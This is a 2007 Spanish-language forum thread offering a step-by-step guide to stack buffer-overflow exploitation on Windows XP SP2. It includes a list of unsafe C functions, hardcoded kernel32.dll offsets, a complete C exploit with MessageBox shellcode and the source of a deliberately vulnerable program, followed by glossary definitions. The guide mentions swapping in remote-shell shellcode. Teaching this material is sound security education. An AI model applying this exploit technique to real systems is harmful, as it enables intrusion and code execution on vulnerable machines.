Octubre 26, 2020, 12:55:33 am

Noticias:

Para hacer tu consulta: debes registrarte y hacer un nuevo tema en la sección que consideres más adecuada. Ver: Acerca de este Foro.


GUIA PARA EXPLOTAR VULNERABILIDADES BoF

Iniciado por Speed, Abril 15, 2007, 07:09:46 am

Tema anterior - Siguiente tema

Speed

-ESCANEAR CODIGOS VULNERABLES (SOURCE CODE AUDITOR)
Existen muchos programas para escanear vulnerabilidades en este caso usaremos rats.exe que tiene para escanear codigos vulnerables en C,C++,Perl,Python y PHP.extrae rats-2.1.zip al disco C,click en inicio,ejecutar,cmd,aceptar y tecleas: C:\rats (directorio a escanear)

las funciones de c++ que son vulnerables:
gets()
sprintf()
strcat()
strcpy()
streadd()
strecpy()
strtrns()
index()
fscanf()
scanf()
vsprintf()
Off by one:
strncpy()
strncat()
fgets()
sscanf()
realpath()
getopt()
getpass()
strecpy()
strtrns()
copymemory()
_tcscpy()
_mbscpy()
wscat()
_tscat()
_mbscat()



-NOPSLED,OFFSETS,SHELLCODE Y EXPLOIT
(Solo para el SO XP SP2 sin actualizaciones y con las mismas direcciones de memoria del kernel32.dll que usaremos en esta guia ej:0x7C82385D,7C801D77h y 7C80AC28h...en algunos casos puede funcionar en otros sistemas operativos cambiandole la direccion
base de kernel32.dll,LoadLibraryA y GetProcAddress).coloca el archivo vuln.exe en el disco C de forma que quede asi: "C:\vuln.exe" como vemos en el codigo fuente del exploit primero se añade un NOPSLED
que es un numero consecutivo de bytes. "\x90" es el hexadecimal de un NOPSLED el proposito de usar NOPSLED es que no se necesita encontrar una direccion exacta de la memoria...ejemplo de uso: char NOPSLED[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
y mas abajo le colocamos: strcat(exploit,NOPSLED); Ahora hay que sacar la direccion base de memoria de kernel32.dll (esto se llama hardcodear direcciones o offsets y su direccion base dependera del SO,SP e idioma) para sacar la direccion base usamos "findjmp3.exe",Al ejecutarlo seleccionas: C:\WINDOWS\system32\kernel32.dll,CALL,ESP,
click en buscar,la anotamos (0x7C82385D) y la pasamos a shellcode ( \x5D\x38\x82\x7C ) para usarla en el exploit.Ahora se añade
el LoadLibraryA y GetProcAddress de kernel32.dll para eso ejecutamos un programa llamado offsets y en la DLL colocamos:
C:\WINDOWS\system32\kernel32.dll,click en buscar,buscamos el LoadLibraryA y GetProcAddress,
pasamos su direccion de memoria a shellcode y la añadimos al exploit...ejemplo:
LoadLibraryA:::::>7C801D77h            en shellcode: \x77\x1d\x80\x7c
GetProcAddress:::::>7C80AC28h          en shellcode: \x28\xac\x80\x7c
Ahora se añade una shellcode al exploit que la puedes encontrar en el internet o usar las
que estan en la carpeta shellcode...la shellcode que le coloques al exploit ara la funcion
que quieras que aga el exploit como por ejemplo,ejecutar una shell remota,abrir un puerto,etc.
Extra:para cambiarle el mensaje del exploit ejecuta un editor hexadecimal por ejemplo
el de microsoft visual c++,click en file,new,files,Binary File,aceptar,click al espacio
en blanco a la derecha,escribes el mensaje que quieras y a la izquierda aparecera el
mensaje en hexadecimal...e aqui un ejemplo de como pasar el hexadecimal a shellcode:
shellcode: \x4f\x6d\x65\x67\x61\x37\x4e";                   mensaje:Omega7        
hexadecimal: 4F 6D 65 67 61 37
----------------------------------------------------
shellcode: \x53\x6F\x63\x6B\x65\x74";                      mensaje:Socket  
hexadecimal: 53 6F 63 6B 65 74
El mensaje esta en la ultima linea de la shellcode despues de "\xff"



---------------------------------------------EXPLOIT------------------------------------------

#include
#include
#include

int main()

{
printf("vuln.exe Stack Overflow Exploit\n");

char exploit[500] = "C:\\vuln.exe ";

char NOPSLED[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"
"\x77\x1d\x80\x7c" //***LoadLibraryA(libraryname) IN WinXP sp2***
"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"
"\x28\xac\x80\x7c" //***GetProcAddress(hmodule,functionname) IN sp2***
"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51"
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff"
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"
"\xff\x4f\x6d\x65\x67\x61\x37\x4e";

char ret[] = "\x5D\x38\x82\x7C";

char overflow[] =

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAA";


strcat(exploit, overflow);
strcat(exploit, ret);
strcat(exploit, NOPSLED);
strcat(exploit, shellcode);

printf("Exploiting ......\n");

WinExec(exploit, 0);

printf("Exploitation Finished\n");

return 0;
}




-----------------------------ARCHIVO VULNERABLE ( vuln.exe )--------------------------------------
#include
#include

int Aelphaeis();

int main(int argc, char **argv)

{

char buffer[256];


strcpy(buffer, argv[1]);
printf("%s", buffer);
       
         return 0;

}


int Aelphaeis()
{

printf("ub3r secret c0de\n");
return 0;

}

Speed

EL LOKO ( un pequeño error en la guia )

Un pequeño error en la guia y es que le coloque  "o usar las
que estan en la carpeta shellcode" se me escapo ya que esta guia la hice para mi y ahora es que la estoy pasando al foro xDDDD ( tampoco lo puedo editar ya que tengo un problema en mi computadora )... una de las cosas buenas que tiene esta guia es que no son como las que uno encuentra en el internet que son como de 300 paginas y lo hace super largo...esta guia que hice es de esas de click aqui y click alla xDDDD

Speed


Speed

Algunos conceptos necesarios:

que es el buffer?
es una ubicación de la memoria en una computadora o en un instrumento digital reservada para el almacenamiento temporal de información digital, mientras que está esperando ser procesada

Que es el desbordamiendo de buffer (Buffer Overflow)?
El buffer se desborda cuando se le quiere meter mas memoria de lo que cave en su espacio reservado.otra definicion:Es un error de software que se produce cuando un programa no comprueba que la entrada de datos tiene la longitud adecuada,por lo tanto,cualquier entrada no esperada desborda una porción de la pila de ejecución de la CPU"...un desbordamiento de memoria buffer se aprovecha de un defecto inherente dentro de un trozo específico del código de una aplicación para introducir mandatos arbitrarios en la cola de ejecución del procesador"

Que es la Pila (estructura de datos)?
Una pila (stack) es una estructura de datos de tipo LIFO (del inglés Last In First Out) que permite almacenar y recuperar datos mediante operaciones push (apilar) y pop (des-apilar). Estas operaciones se realizan sobre un único extremo llamado cima.Por analogía con objetos cotidianos, una operación 'push' equivaldría a colocar un plato sobre una pila de platos, y un 'pop' a retirarlo. Esto quiere decir que con una operación 'pop' obtendremos el elemento que se añadió la última vez en la pila (el que se encuentre en la parte superior), al mismo tiempo que lo elimina de la pila.

Que es una shellcode?
es un conjunto de órdenes programadas generalmente en lenguaje ensamblador que se inyectan en la pila para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.Una shellcode ejemplar, escrita según la notación del C:
char shellcode[]=          
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb0\x46"             /* movl    $0x46,%al              */

Que es un bug?
bug:(fallos en programas ej:.dll-.idc) los hackers usan estos fallos para tener privilegios de la victima (ej:entrar en su ordenador)

que es x86 o x80?
x86 es la denominación genérica dada a ciertos procesadores de la familia Intel

Que es un exploit?
Programa que explota una vulnerabilidad para tener privilegios de la victima...Los exploits se pueden caracterizar según las categorías de vulnerabilidades utilizadas:
Vulnerabilidades de desbordamiento de buffer.
Vulnerabilidades de condición de carrera (race condition).
Vulnerabilidades de error de formato de cadena (format string bugs).
Vulnerabilidades de Cross Site Scripting (XSS).
Vulnerabilidades de Inyección SQL.
Vulnerabilidades de Inyección de Caracteres (CRLF).
Vulnerabilidades de denegación del servicio
Vulnerabilidades de Inyección múltiple HTML (Multiple HTML Injection).
Vulnerabilidades de ventanas enganosas o mistificación de ventanas (Window Spoofing).

Que es un offset?
es un desplazamiento respecto a una direccion de memoria. Un offset dentro de un array u otra estructura de datos es un entero que indica la distancia (desplazamiento) desde el inicio del objeto hasta un punto o elemento dado, presumiblemente dentro del mismo objeto. El concepto de distancia es solamente válido si todos los elementos del objeto son del mismo tamaño ( típicamente dados en bytes o palabras).

Buscar en el Foro: